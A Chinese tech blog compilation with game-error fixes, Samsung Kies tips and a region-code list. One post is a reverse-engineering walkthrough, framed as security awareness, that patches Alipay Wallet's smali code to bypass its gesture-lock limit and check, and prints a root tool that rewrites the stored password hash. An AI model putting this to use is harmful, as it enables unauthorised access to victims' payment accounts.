破解C++ Redistributable Package版本之谜

破解C++ Redistributable Package版本之谜

     我们平常玩的游戏、用的免CD破解补丁等…[阅读更多]


Visual C++ 2005 Redistributable Package不能安装的解决办法

Visual C++ 2005 R…[阅读更多]


0xc000007b的解决办法(续)

       整理了下可能造成0xc000007b…[阅读更多]


运行游戏时出现0xc000007b错误的解决方法 via:VBcom

 如图,这个错误使无数玩家烦恼。             出现这个错误,可能是硬件的问题,也可能是软件的问题。但是,由于硬件引起该问题的概率很小,并且除了更换硬件之外没有更好的解决方法,因此本文将详细介绍如何通过软件解决此问题,这也是大家最关心的。        大致介绍一下这个错误是如何发生的。这个错误的本意是提示内存错误,但是通常情况下并不是内存存在问题,而是由于软件的问题产生了这个错误。究竟是什么软件的问题呢?答案是DirectX,并且多数情况下是DirectX 9.0的问题。        也许大家会问了:我玩的游戏都有DirextX 11的特效了,还会和DirectX 9有关系吗?事实上,游戏公司为了游戏的兼容性,往往都是基于DirectX 9.0的API开发游戏,然后加上DirectX 10和DirectX 11的特效,这样的话,不管什么样的显卡都可以玩游戏。也正是如此,DirectX 9.0有问题会影响目前最新的游戏(比如极品飞车15)。还有人会问了:我的Windows 7都能支持DirectX 11了,怎么还不行?这里要做两点说明,首先,Windows 7是最高支持DirectX 11,向下兼容DirectX 9以及DirectX 10,并不是Windows 7只支持DirectX 11;还有,原版的Windows 7中只包含了最基本的DirectX 组件,而游戏需要的往往是较高级的组件(如d3dx9_42.dll、xinput1_3.dll),系统缺失这些关键的文件会造成游戏无法运行。还有人会问:我已经装过DirectX 9.0了,还是不管用呀?请大家一定要牢记一点,不管是32位操作系统还是64位操作系统,一定要安装32位版本的DirectX文件,这是关键。因此请大家一定要从文中给出的链接下载,因为我给出的版本是最新32位文件。        说到这,大家自然就知道解决方法了??安装最新版的DirectX文件。这里我给大家介绍一种简便方法(置顶方法)和两种高级方法。        置顶方法:简便万能,一键修复,使用DirectX修复工具。很多遇到这个问题的人对电脑都不甚了解,即使我非常详尽的介绍了操作方法,但是仍然会有问题。鉴于此,本人特地亲自编写了一款绿色软件??DirectX修复工具。该款软件采用傻瓜式一键操作,只要点一个按钮,就能自动完成校验、检测、修复、注册的功能,十分简便易用。该软件可支持Windows XP、Windows Vista、Windows 7操作系统,可以同时兼容32位与64位操作系统。大家完全不必操心自己的操作系统到底是什么操作系统,需要做的只是下载该软件,然后运行,因此极力推荐普通用户使用该方法。 程序链接:http://pan.baidu.com/s/1qWsKhmW(增强版)        当然,如果您是高级用户,或者置顶方法不能解决您的问题,建议您考虑下述两种高级方法。        方法一:大而全,安装最新版的DirectX 9.0安装包。这种方法的优点是,一次性把系统缺失的文件自动安装,并且自动升级旧有的文件,缺点是安装包较大(90MB以上),如果网速慢的不方便下载。        现在网上有很多的安装包,但其中一些无法运行,会提示系统错误。就连之前微软网站的安装包也会出现类似问题。不过目前微软可能已经意识到这个问题了,发布了新的安装包,应该会解决不少人无法安装的问题。大家可以到微软的官方网站上下载。同时,作为参考,大家也可以到360软件管家下载安装。以下3种下载方式任选其一即可。    微软官方在线安装包: http://www.microsoft.com/downloads/details.aspx?displaylang=zh-cn&FamilyID=2DA43D38-DB71-4C1B-BC6A-9B6652CD92A3   微软官方离线安装包: http://www.microsoft.com/downloads/en/details.aspx?displaylang=en&FamilyID=3b170b25-abab-4bc3-ae91-50ceb6d8fa8d   下载方式3:在各类软件管家找“Microsoft DirectX 9.0c”下载安装即可。       特别说明,微软提供的安装包在有的电脑上可能安装不了,提示系统错误。这时可以重启后多装几次,如果每次都不行的话建议还是从各类软件管家下载。注意,安装前请务必先手动删除之前自己拷贝到system32或Syswow64文件夹中的dll文件!             方法二:小而精,只安装缺失的文件。经我观察发现,绝大多少游戏不能运行是缺少如下的几个文件:d3dx9_39.dll、d3dx9_40.dll、d3dx9_41.dll、d3dx9_42.dll、d3dx9_43.dll、xinput1_3.dll,因此,只要安装好了这几个文件,就可以顺利运行游戏。文件我已经打包上传,以下两个地址任选其一即可。注意一点,如果你的游戏提示的缺失的文件不在上述6个文件之中,那么你就不能用这个方法。 下载地址1: http://good.gd/875627.htm  下载地址2: 链接: http://pan.baidu.com/s/1hq01l7A 密码: b6xg      下载完上述文件后,我还要说一下文件的用法。解压后大家就可以看到上述6个文件,对于32位的操作系统,请把这6个文件复制到“C:/Windows/System32/”文件夹下或者是复制到游戏目录,与游戏的EXE文件在同一文件夹下;对于64位操作系统,请把这6个文件复制到“C:/Windows/Syswow64/”文件夹下或者是复制到游戏目录,与游戏的EXE文件在同一文件夹下。综上所述,不管是32位操作系统还是64位操作系统,只要把文件复制到游戏目录(与游戏的EXE文件在同一文件夹下)下,都可以解决问题。这步至关重要,千万不要忘记或搞错,否则就会出现”应用程序无法正常启动(0xc000007b)。请单击“确定”关闭程序。”这个错误。        特别说明:不管你使用的是32位的操作系统还是64位的操作系统,一定要使用32位的dll文件,这是关键!对于这个错误,64位系统的玩家一定要把自己的系统当成32位的对待,寻找32位的文件安装才可解决。因此,如果你使用的是之前自己从网上找到dll文件,并且已经按上述方法试过没有成功,不是这个方法有问题,而很可能是你用的dll文件有问题。如果你不能确定你之前从别处找到的dll文件是最新版的32位的文件的话,建议大家按照我提供的地址下载需要的文件(我提供的是最新版的32位的文件),也许你会有意想不到的惊喜。       现在,你可以试试你的游戏了。双击游戏图标,游戏运行了~~ 原文地址:http://blog.csdn.net/vbcom/article/details/6070705 有删改和补充


支付宝钱包手势密码破解实战 via:@闵小奇

背景 随着移动互联网的普及以及手机屏幕越做越大等特点,在移动设备上购物、消费已是人们不可或缺的一个生活习惯了。随着这股浪潮的兴起,安全、便捷的移动支付需求也越来越大。因此,各大互联网公司纷纷推出了其移动支付平台。其中,用的比较多的要数腾讯的微信和阿里的支付宝钱包了。就我而言,平时和同事一起出去AA吃饭,下班回家打车等日常生活都已经离不开这两个支付平台了。 正所谓树大招风,移动支付平台的兴起,也给众多一直徘徊在网络阴暗地带的黑客们又一次重生的机会。因为移动平台刚刚兴起,人们对移动平台的安全认识度还不够。就拿我身边的很多朋友来说,他们一买来手机就开始root,之后卸载预装软件,下载游戏外挂等等。今天,我们就以破解支付宝钱包的手势密码为例,来深入了解下android系统上的一些安全知识,希望能引起人们对移动平台安全的重视。 在此申明:以下文章涉及的代码与分析内容仅供android系统安全知识的学习和交流使用,任何个人或组织不得使用文中提到的技术和代码做违法犯罪活动,否则由此引发的任何后果与法律责任本人概不负责。   实验环境 红米TD版 MIUI-JHACNBA13.0(已越狱) 支付宝钱包8.1.0.043001版   使用工具 APK IDE Smali.jar Ddms SQLite Expert 应用宝   程序分析 准备阶段 安装完支付宝钱包之后,运行软件,我这里选择淘宝帐号登录,界面如图1所示。   图1 登录之后,设置手势密码,如图2所示。   图2 完成上述两步之后,退出支付宝进程。用腾讯应用宝定位到支付宝的安装目录datadatacom.eg.android.AlipayGphone,查看目录结构如图3所示。   图3   实战开始 – 破解手势密码错误次数限制 看到图3所示的目录结构,猜测databases目录下的*.dB数据库文件就是用来保存上述我们设置的密码的。因此,我们使用应用宝的导出功能将databases目录导出到本地。用SQLite Expert工具打开所有的dB文件,分析发现alipayclient.db数据库中的userinfo表中保存了用户名、输入错误次数、手势密码等详细信息,如图4所示。其中的gestureErrorNum字段应该就是保存了手势密码输入错误的次数了,很明显这里已经被加密了。   图4 使用APK IDE对支付宝的安装包进行解包分析。解包完成之后,搜索setgestureErrorNum字样,结果如图5所示。   图5 经过大致分析,UserInfoDao.smali文件中的addUserInfo函数比较可疑,截取其中一段设置手势密码错误次数的代码如下: invoke-virtual {v0}, Lcom/alipay/mobile/framework/service/ext/security/bean/UserInfo;->getGestureErrorNum()Ljava/lang/String; move-result-object v1  #调用getGestureErrorNum函数获得未加密的错误次数,并保存到v1寄存器   invoke-virtual {v0}, Lcom/alipay/mobile/framework/service/ext/security/bean/UserInfo;->getUserId()Ljava/lang/String; move-result-object v2 #调用getUserId函数获得user id,并保存到v2寄存器   invoke-static {v2}, Lcom/alipay/mobile/security/gesture/util/GesutreContainUtil;->get8BytesStr(Ljava/lang/String;)Ljava/lang/String; move-result-object v2 #获取user id的前8个字节,保存到v2寄存器   invoke-static {v1, v2}, Lcom/alipay/mobile/common/security/Des;->encrypt(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String; move-result-object v1 #以user id的前8字节作为key,调用des加密错误次数字符串,并保存到v1寄存器   invoke-virtual {v0, v1}, Lcom/alipay/mobile/framework/service/ext/security/bean/UserInfo;->setGestureErrorNum(Ljava/lang/String;)V #调用setGestureErrorNum函数,将加密的字符串保存 通过对上述代码的分析得知,第一次getGestureErrorNum的调用取出的错误次数应该是未加密的字符串,添加log代码验证,代码如图6所示。   图6 保存修改的smali文件,重新编译打包,安装完成之后,输入错误的手势密码,log输出数字依次递增。最后一次输入正确的手势密码,错误次数重新归0。LogCat捕捉到的日志如图7所示。   图7 程序分析到这里,我不禁猜测,在错误次数未加密前,把v1寄存器的值设置为字符串“0”是不是就可以骗过支付宝而可以无限次的输入手势密码了呢?于是乎,我又开始了下面的验证,代码如图8所示。   图8 编译打包,重新安装支付宝,输入错误的手势密码,发现5次错误之后程序还是让我们重新登录。看来我们这里设置错误次数已经晚了,于是乎,继续搜索调用addUserInfo函数来加密gestureErrorNum的地方。其中,AlipayPattern.smali文件的settingGestureError函数引起了我的注意。函数代码如下: .method public settingGestureError(Lcom/alipay/mobile/framework/app/ui/BaseActivity;Lcom/alipay/mobile/framework/service/ext/security/bean/UserInfo;I)V .locals 1 new-instance v0, Ljava/lang/StringBuilder; #初始化StringBuilder实例   invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V   invoke-virtual {v0, p3}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder; #p3是一个I类型的整型变量,调用StringBuilder. append赋值   move-result-object v0   invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;   move-result-object v0 #调用toString函数转换成字符串类型,赋给v0   invoke-virtual {p2, v0}, Lcom/alipay/mobile/framework/service/ext/security/bean/UserInfo;->setGestureErrorNum(Ljava/lang/String;)V #调用setGestureErrorNum设置未加密的错误次数字符串   invoke-static {}, Lcom/alipay/mobile/framework/AlipayApplication;->getInstance()Lcom/alipay/mobile/framework/AlipayApplication;   move-result-object v0   invoke-static {v0}, Lcom/alipay/mobile/framework/service/ext/dbhelper/SecurityDbHelper;->getInstance(Landroid/content/Context;)Lcom/alipay/mobile/framework/service/ext/dbhelper/SecurityDbHelper;   move-result-object v0   invoke-virtual {v0, p2}, Lcom/alipay/mobile/framework/service/ext/dbhelper/SecurityDbHelper;->addUserInfo(Lcom/alipay/mobile/framework/service/ext/security/bean/UserInfo;)Z  #调用SecurityDbHelper.addUserInfo函数加密、更新数据库   return-void .end method 分析到这里,想必这里才是最原始的设置手势输入错误次数的地方吧,修改p3的值为0,测试代码如图9所示。   图9 继续打包、编译、测试。随意输入错误的手势密码,支付宝始终显示“密码错误,还可以输入5次”字样,如图10。   图10 至此,手势密码中的错误次数限制已经被我们解除了。理论上来说,我们可以使用穷举法来获取支付宝的手势密码。但是,作为一名分分钟几百万上下的大黑阔来说,使用穷举法来获得密码这种方式,显然是在浪费生命和金钱呀。   越战越勇 ? 查找关键跳转 对于大黑阔们来说,只破解手势输入错误次数限制显然是不够的。下面我们以手势密码的存储展开来说起。查看alipayclient.db数据库的userinfo表可知,手势密码的存储字段为gesturePwd,搜索getGesturePwd函数得到如图11的结果。   图11 搜索到的结果比较多,根据前面对手势密码错误次数限制的分析,这里可以排除几个文件,例如UserInfoDao.smali文件,它主要用来保存一些用户态的信息,可暂时跳过。剩下的smali文件,我们一个个分析过来。在这里我想说的一点是,逆向分析确实是很考验一个人耐心和细心的一件事情,一个恍惚就会迷失在浩瀚的汇编代码中,但是等到你找到关键的调用点,分析出核心的算法时,那么心境会豁然开朗,真是有种踏破铁鞋无觅处,得来全不费工夫的感脚。好了,扯远了,下面我们继续。 经过我的仔细分析,e.smali文件最有可能是比较输入密码的地方,双击上面e.smali文件的LINE 47行,跳转到的是a函数。由于函数比较长,只贴关键部分,代码如下: .method public final a(Ljava/lang/String;)V .locals 4   invoke-virtual {p1}, Ljava/lang/String;->length()I #取输入字符串的长度   move-result v0     sget v1, Lcom/alipay/mobile/security/gesture/component/LockView;->MINSELECTED:I     if-lt v0, v1, :cond_1 #比较字符串长度   :try_start_0 iget-object v0, p0, Lcom/alipay/mobile/security/gesture/component/e;->a:Lcom/alipay/mobile/framework/service/ext/security/bean/UserInfo; #获取UserInfo对象   invoke-virtual {v0}, Lcom/alipay/mobile/framework/service/ext/security/bean/UserInfo;->getGesturePwd()Ljava/lang/String; #调用UserInfo的getGesturePwd函数获得加密过的正确的手势密码   move-result-object v0   invoke-virtual {v0}, Ljava/lang/String;->length()I #取加密过的正确密码的长度   move-result v0   const/16 v1, 0x20   if-le v0, v1, :cond_0 #长度是否小于32   new-instance v0, Ljava/lang/StringBuilder;   invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V #初始化StringBuilder对象   invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; #将输入的明文手势密码赋值给StringBuilder对象 move-result-object v0   iget-object v1, p0, Lcom/alipay/mobile/security/gesture/component/e;->a:Lcom/alipay/mobile/framework/service/ext/security/bean/UserInfo;   invoke-virtual {v1}, Lcom/alipay/mobile/framework/service/ext/security/bean/UserInfo;->getUserId()Ljava/lang/String; #调用UserInfo的getUserId函数获取user id move-result-object v1   const-string/jumbo v2, “userInfo”   invoke-static {v1, v2}, Lcom/alipay/mobile/common/security/Des;->encrypt(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String; #调用des加密函数,以“userInfo”为key,加密user id字符串 move-result-object v1   invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; #将加密好的user id字符串附加到StringBuilder对象上   move-result-object v0   invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;   move-result-object v0  #StringBuilder对象(输入明文手势的密码 + 加密后的user id)转字符串,并赋值给v0寄存器   invoke-static {v0}, Lcom/alipay/mobile/security/gesture/util/SHA1;->sha1(Ljava/lang/String;)Ljava/lang/String; #调用静态的sha1函数,计算出一个hash值 move-result-object v0   :goto_0 iget-object v1, p0, Lcom/alipay/mobile/security/gesture/component/e;->a:Lcom/alipay/mobile/framework/service/ext/security/bean/UserInfo;   invoke-virtual {v1}, Lcom/alipay/mobile/framework/service/ext/security/bean/UserInfo;->getGesturePwd()Ljava/lang/String; #调用UserInfo的getGesturePwd函数获得加密过的正确的手势密码 move-result-object v1   invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z #比较输入的密码和正确的密码 move-result v0   if-eqz v0, :cond_1 很显然,上面这个if-eqz是关键,如果比较函数equals返回false,那么跳转到cond_1标签处。cond_1标签处的主要任务就是取当前输入错误的次数,在这个基础上加上1,然后调用settingGestureError函数重新设置错误次数。如果两个字符串相等,那么调用settingGestureError函数把错误次数重新置为0。 下面为了验证我们的猜测,进行如下两步操作: 1、在a函数中加入类似如图12的打印日志代码,这里未全部截图下来,其他地方留给读者自行添加。   图12 2、在if-eqz v0前patch v0,代码如图13所示。   图13 完成上述两步操作之后,保存修改过的smali文件,编译打包,重新安装支付宝钱包客户端,随意输入手势密码。这里引用大魔术师刘谦的一句话,“接下来就是见证奇迹的时刻”。在我们随意输入密码之后,熟悉的支付宝主界面出现在我们眼前,同时LogCat输出日志如图14所示。   图14 日志的组成大致如下: 第一行:用户输入的,还未加密的手势代码; 第二行:保存在数据库中正确的加密后的手势密码; 第三行:未加密的user id; 第四行:采用des加密后的user id; 第五行:拼接用户输入和加密后的user id; 第六行:采用sha1算法计算出来的加密之后的用户输入的手势密码。 通过仔细的分析日志,我们从中可以得出两个结论: 1、真实的手势密码和我们输入的密码是不一样的,但是我们还是进入了支付宝的主界面,证明我们上面第2步中修改的地方非常关键,从而也印证了e.smali文件的a函数确实是比较用户输入和真实密码的关键函数。 2、支付宝是将用户的手势操作转化成对应的数字,然后再做一定的加密处理之后保存到数据库中。比较用户输入的时候,是用相同的加密步骤对用户输入进行加密,再与数据库中保存的密码做比较。数字代码对应如图15所示。   图15 程序分析到这里,我们已经清楚的明白了支付宝手势密码的加密过程和算法,并且通过修改关键跳转的方法,使得我们随意输入手势密码都可以进入支付宝主界面。   仔细思考 ? 还原手势密码? 回过头来仔细想想,手势密码的加密流程是这样的,用户输入+user id组成一个字符串,将该字符串经过sha1算法哈希之后得到另一个加密字符串即为手势密码。其中,user id字符串在alipayclient.db数据库的userinfo表中的userId字段已经表明了,正确的手势密码gesturePwd字段也已经有了。虽然sha1算法不可逆,但是在我们的这个实例中,最长输入是9位,最短为4位,我们完全可以通过已知的信息,采用有限的穷举,就能得出正确的手势代码了。相信对于现在的4核乃至8核cpu手机来说,这点计算应该是很轻松的。 但是,我们难道只能通过穷举来实现暴力破解吗?答案是否定的。其实我们完全可以自己构造一个输入,例如0123,采用和支付宝完全相同的加密流程得到手势密码。然后,通过修改userinfo表的gesturePwd字段内容为上面我们计算出来的手势密码,这样,就能实现随意修改手势密码的目的了。想法有了,下面我们编写代码来验证该方法是否可行。   代码实现 查看支付宝使用的sha1算法可知,该算法与支付宝的整体功能业务耦合度基本为0,于是我将sha1算法所在的smali文件转换成jar包,然后导入到我的工程中,这样,就可以直接调用和支付宝完全相同的sha1算法了。程序代码如下所示: protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main);   setTitle(“支付宝手势密码修改器“); szUerIdString = “”; tvStatus = (TextView) findViewById(R.id.textStatus); etEncryptUserid = (EditText) findViewById(R.id.editEncryptUserId); etDecryptUserid = (EditText) findViewById(R.id.editDecrypUserId); etMyPwd = (EditText) findViewById(R.id.editMyselfPwd); btnOK = (Button) findViewById(R.id.btnSetting); if (!RootUtils.hasRootPermission()) { tvStatus.setText(“本程序只能在ROOT过的手机上运行!“);             return;         }  if (!RootUtils.hasInstalledApp(MainActivity.this, “com.eg.android.AlipayGphone”)) {  tvStatus.setText(“请确认您已经安装了支付宝钱包!“);          return;      }   String szUserId = getUserId(); if (!szUserId.isEmpty()) { szUerIdString = szUserId; etEncryptUserid.setText(szUserId); tvStatus.setText(“读取user id成功,请输入自定义手势密码!“); String szDecryptUserid = decryptUserid(szUserId, “userInfo”); if (!szDecryptUserid.isEmpty()) { etDecryptUserid.setText(szDecryptUserid); } else { tvStatus.setText(“解密user id失败!“); } btnOK.setOnClickListener(new OnClickListener() {             @Override             public void onClick(View view) {              String szPwd = etMyPwd.getText().toString();              if (szPwd.isEmpty()) {               Toast.makeText(MainActivity.this, “设置的自定义密码不能为空,请重新输入!“, Toast.LENGTH_LONG).show(); }              else {              StringBuilder sBuilder = new StringBuilder();          sBuilder.append(szPwd);          sBuilder.append(szUerIdString);                   String tmp = sBuilder.toString();          String sha1 = com.alipay.mobile.security.gesture.util.SHA1.sha1(tmp);          Log.v(TAG, sha1);                   if (!sha1.isEmpty()) {          if (updateDatabaseGesturePwd(szUerIdString, sha1)) {          tvStatus.setText(“设置自定义密码成功!“); }          else {          tvStatus.setText(“设置自定义密码失败!“);          }          } }             }         });  } else { tvStatus.setText(“获取user id失败!“); } } 获取user id和修改手势密码的代码如下: // 获取加密的user id private String getUserId() { String szRet = “”; // 修改数据库文件的读写权限 RootUtils.RootCommand(“chmod 666 /data/data/com.eg.android.AlipayGphone/databases/alipayclient.db”);  RootUtils.RootCommand(“chmod 666 /data/data/com.eg.android.AlipayGphone/databases/alipayclient.db-journal”);  try { Context context = createPackageContext(“com.eg.android.AlipayGphone”,  Context.CONTEXT_IGNORE_SECURITY); SQLiteDatabase dB =context.openOrCreateDatabase(“alipayclient.db”, 0, null);             Cursor cursor = db.rawQuery(“select * from userinfo”, null);             if (cursor.moveToFirst()) { szRet = cursor.getString(USER_ID_INDEX) ; }             db.close(); } catch (NameNotFoundException e1) {             e1.printStackTrace();         } return szRet; } // 修改手势密码 private boolean updateDatabaseGesturePwd(String szUerId, String szPwd) { boolean bRet = false; if (szPwd.isEmpty() || szUerId.isEmpty()) { return bRet; } try { Context context = createPackageContext(“com.eg.android.AlipayGphone”,  Context.CONTEXT_IGNORE_SECURITY); SQLiteDatabase dB =context.openOrCreateDatabase(“alipayclient.db”, 0, null); ContentValues cv = new ContentValues(); cv.put(“gesturePwd”, szPwd); String[] args = {String.valueOf(szUerId)}; int n = db.update(“userinfo”, cv, “userId=?”, args); if (n> 0) { bRet = true; } db.close(); } catch (NameNotFoundException e1) {             e1.printStackTrace();         } return bRet; } 最后,程序运行效果如图16所示。   图16 输入自定义密码,点击确认,程序提示设置成功。此时,打开支付宝,输入我们的自定义手势代码即可解锁支付宝进入熟悉的主界面了。   后记 如上所述,通过修改支付宝钱包数据库来达到破解目的的方法是需要在已经root过的手机上才能使用的。设想一下这种情况,我的手机已经root,并且手机被盗。那么,除了手机上的艳照有可能泄露之外,小偷还可以通过修改支付宝的手势密码来登录我的支付宝,因此,造成直接的金钱损失也不是没有可能。 一般来说,普通用户日常使用的手机尽量不要去root,也不要随便去下载来历不明的软件和外挂。


【技巧】利用三星Kies提取官方ROM的教程

1.首先设置自己的电脑显示隐藏文件,如图进入文件夹和搜索选项设置 2.Windows XP用户请打开C:Documents and Settings电脑用户名Local SettingsTemp    Windows 7 用户打开C:Users电脑用户名AppDataLocalTemp或者是:C:用户电脑用户名AppDataLocalTemp 把里面的文件全部删除(这个文件夹里都是缓存文件而已,不用怕误删) 3.接入手机打开kies,开始更新,注意看下载进度,在到达85%进度时会提示解压二进制文件,此时注意看temp文件夹,会自动生成一个一个文件夹,我们打开这个文件夹后里面会有一个TAR的文件,刚开始数值是0KB,等到解压完成后要马上复制到另外一个文件夹,注意动作如果慢点得话系统就会自动删除,因此眼睛盯好,动作要迅速。(这个是网上的方法,但是这样岂不是要不停的盯着,但费事了,作为技术宅怎么能用这个笨方法呢!!!) 在第二步之后进行如下设置,但是有一个前提是你的磁盘分区是NTFS! 在C:用户电脑用户名AppDataLocal找到temp文件夹,右键属性??安全 高级??更改权限 编辑??分别编辑system、administrator和用户名权限,将删除子文件夹及文件、删除两项拒绝项打钩,之后一路确定回去。 这是你会发现你无法删除temp文件夹里的所有文件了,会提示你没有权限。OK,这样kies也不能删除它下载的ROM了,这时候你可以非常淡定的和妹子约会啊,LOL啊了,等文件下载完后,慢悠悠的去temp文件夹里找打解压缩后的文件夹,并将其复制出去。完事后不要忘了把权限改回去哦! PS:关于三星官方ROM,一般分为一体包和五(四)件套,一体包指的是只有一个tar或者md5文件,使用奥丁(odin)刷机的时候只需要选择PDA就好了。四件套是包括BLAPCPCSC四个tar或者md5文件,需要用奥丁刷机时分别选取相应文件进行刷机。五件套比四件套多一个PIT(分区)文件,不太重要。一般用在混刷时。比如NOTE3港版(16G)刷欧版(32G)系统时需要在选择使用16Gpit文件。淘宝上欧版充港版基本就是这么刷出来的,还有一种是强刷欧版32G成港版16G系统,不过会出现自己刷机后无法开机的BUG。。。。


【技巧】利用Kies查询三星手机销售地

最近再次手贱,看到三星法国开始推送NOTE3 SM-N9005的安卓4.4.2的更新,所以想把自己法国版NOTE3更新,但是后来发现XEF版本的一体包(XEF-N9005XXUENB4)总是刷不进去……只能用网上广为流传的波兰版五件套(OXX-N9005XXUENA6),或者用32G的pit文件搭配港版五件套(TGY-N9005ZHUENC1)。 可是作为一个技术宅的强迫症好巧不巧的在这个时候出现了。为什么不能刷一体包呢?通过查询资料,发现Note3的一体包只能刷销售地的一体包(?对于这句话我便是怀疑了,刚刚通过奥丁刷入英国版的NF4也可以,似乎这句话是不成立的),但是XEF作为法国版并不能用啊……那么我的机子到底是什么版本呢?  原来用Kies就可以查到,具体方法是这样的: 1.KIES—工具—-固件升级和初始化。(注意:貌似只有kies 3.0.0.13091可以查询,最新版本不能查到。下载地址:http://pan.baidu.com/s/1kTHSDQv) 2.型号名称:牛三就输入—SM-N9005 ,然后点确认 3.看到了什么: 输入铭牌上的S/N:自己打开后盖看吧(注意一定是大写)。 再和设定—关于设备—状态  一栏的序号对比下,理论上是一一对应的,如果不对应的话,呵呵,你的电池仓铭牌是假的,被JS重贴过了。内外SN不符,那就以手机内部查询到的SN为准。   5.输入S/N完成后,点确认,接着会弹出一个问你是否要初始化的菜单,然后点确认,图如下: 6.你要的结果出来了,我们最终要的就是下面这个图所示的: 看到了么:已初始化版本:(  )里面的东东就是题目上说的东东。 比如我的销售地版本就是BOG了 那么下边就是相应的代码。大家可以用ctrl+f来搜索下。 Algeria.(阿尔及利亚) ALG = ALGERIA ALR = ALGERIA Argentina.(阿根廷) ANC = ARGENTINA ARO = ARGENTINA CTI = ARGENTINA UFN = ARGENTINA PSN = ARGENTINA Aruba.(阿鲁巴) ARU = ARUBA Australia.(澳大利亚) OPP = AUSTRALIA OPS = AUSTRALIA VAU = AUSTRALIA XSA = AUSTRALIA TEL = AUSTRALIA HUT = AUSTRALIA Austria.(奥地利) AOM = AUSTRIA DRE = AUSTRIA MAX = AUSTRIA MOB = AUSTRIA MOK = AUSTRIA ONE = AUSTRIA TRG = AUSTRIA ATO = AUSTRIA Baltick.(波罗的海) SEB = BALTICK Belarus.(白俄罗斯) MTB = BELARUS VEL = BELARUS Belgium.(比利时) BAE = BELGIUM BSE = BELGIUM PRO = BELGIUM XEB = BELGIUM Bosnia-Herzegovina.(波斯尼亚 – 黑塞哥维那) BHO = BOSNIA-HERZEGOVINA BHT = BOSNIA-HERZEGOVINA TEB = BOSNIA-HERZEGOVINA Brazil.(巴西) BTA = BRAZIL BTM = BRAZIL TMR = BRAZIL ZTA = BRAZIL ZVV = BRAZIL ZTO = BRAZIL ZTM = BRAZIL Bulgaria.(保加利亚) CMF = BULGARIA GBL = BULGARIA MTE = BULGARIA MTL = BULGARIA OMX = BULGARIA PLX = BULGARIA VVT = BULGARIA Cambodia.(柬埔寨) RCG = CAMBODIA Canada.(加拿大) RGS = CANADA BMC = CANADA TLS = CANADA Chile.(智利) CHB = CHILE CHE = CHILE CHL = CHILE CHT = CHILE China.(中国) CHU = CHINA INT = CHINA TEC = CHINA TIY = CHINA CMC = CHINA CHN = CHINA CHZ = CHINA M00 = CHINA Colombia.(哥伦比亚) COB = COLOMBIA COL = COLOMBIA COM = COLOMBIA CGU = COLOMBIA Costa Rica.(哥斯达黎加) ICE = COSTA RICA Croatia.(克罗地亚) CRO = CROATIA TRA = CROATIA TWO = CROATIA VIP = CROATIA Cyprus.(塞浦路斯) CYV = CYPRUS Czech.(捷克) ETL = CZECH KBN = CZECH OSK = CZECH VDC = CZECH XCS = CZECH XEZ = CZECH TMZ = CZECH O2C = CZECH Denmark.(丹麦) DTL = DENMARK Dominican Rep.(多米尼加代表) CDR = DOMINICAN REP. TDR = DOMINICAN REP. Dominica.(多米尼加) CST = DOMINICA DCN = DOMINICA DOR = DOMINICA Ecuador.(厄瓜多尔) BBE = ECUADOR Egypt.(埃及) EGY = EGYPT El Salvador.(萨尔瓦多) DGC = EL SALVADOR TBS = EL SALVADOR Finland.(芬兰) ELS = FINLAND SAU = FINLAND France.(法国) OFR = FRANCE AUC = FRANCE BOG = FRANCE COR = FRANCE DIX = FRANCE FTM = FRANCE NRJ = FRANCE ORC = FRANCE ORF = FRANCE SFR = FRANCE UNI = FRANCE VGF = FRANCE XEF = FRANCE Germany.(德国) DBT = GERMANY DTM = GERMANY DUT = GERMANY EPL = GERMANY MAN = GERMANY MBC = GERMANY VD2 = GERMANY VIA = GERMANY XEG = GERMANY KOR = GERMANY Ghana.(加纳) SPN = GHANA Greece.(希腊) AOC = GREECE COS = GREECE EUR = GREECE GER = GREECE TGR = GREECE VGR = GREECE CYO = GREECE Guatemala.(危地马拉) PCS = GUATEMALA Hong Kong.(香港) TGY = HONG KONG Hungary.(匈牙利) PAN = HUNGARY VDH = HUNGARY WST = HUNGARY TMO = HUNGARY XEH = HUNGARY TMH = HUNGARY India.(印度) HFC = INDIA HYA = INDIA INA = INDIA IND = INDIA INU = INDIA IMS = INDIA REL = INDIA TAT = INDIA INS = INDIA Indonesia.(印尼) AXI = INDONESIA SAR = INDONESIA XSE = INDONESIA Iran.(伊朗) THR = IRAN Ireland.(爱尔兰) 3IE = IRELAND VDI = IRELAND Israel.(以色列) CEL = ISRAEL PCL = ISRAEL PTR = ISRAEL Italy.(意大利) GOM = ITALY HUI = ITALY ITV = ITALY OMN = ITALY TIM = ITALY VOM = ITALY WIN = ITALY XET = ITALY FWB = ITALY Ivory Coast.(象牙海岸) IRS = IVORY COAST SIE = IVORY COAST Jamaica.(牙买加) JBS = JAMAICA JCN = JAMAICA JCW = JAMAICA Japan.(日本) DCM = JAPAN SBM = JAPAN VFK = JAPAN Jordan.(约旦) LEV = JORDAN Kazakhstan.(哈萨克斯坦) EST = KAZAKHSTAN KCL = KAZAKHSTAN KMB = KAZAKHSTAN KZK = KAZAKHSTAN SKZ = KAZAKHSTAN Kenya.(肯尼亚) KEL = KENYA KEN = KENYA Korea.(韩国) SKT = KOREA Libyan Arab Rep.(利比亚阿拉伯精华) MMC = LIBYAN ARAB REP Lithuania.(立陶宛) TLT = LITHUANIA Luxemburg.(卢森堡) LUX = LUXEMBURG Ma文明用语.(澳门) VTN = MA文明用语 Macedonia.(马其顿) TMC = MACEDONIA MBM = MACEDONIA Malaysia.(马来西亚) CCM = MALAYSIA MXS = MALAYSIA FMG = MALAYSIA FME = MALAYSIA XME = MALAYSIA Maxico.(墨西哥) SEM = MAXICO TCE = MAXICO TMM = MAXICO UNE = MAXICO Mongolia.(蒙古) MPC = MONGOLIA Morocco.(摩洛哥) WAN = MOROCCO FWD = 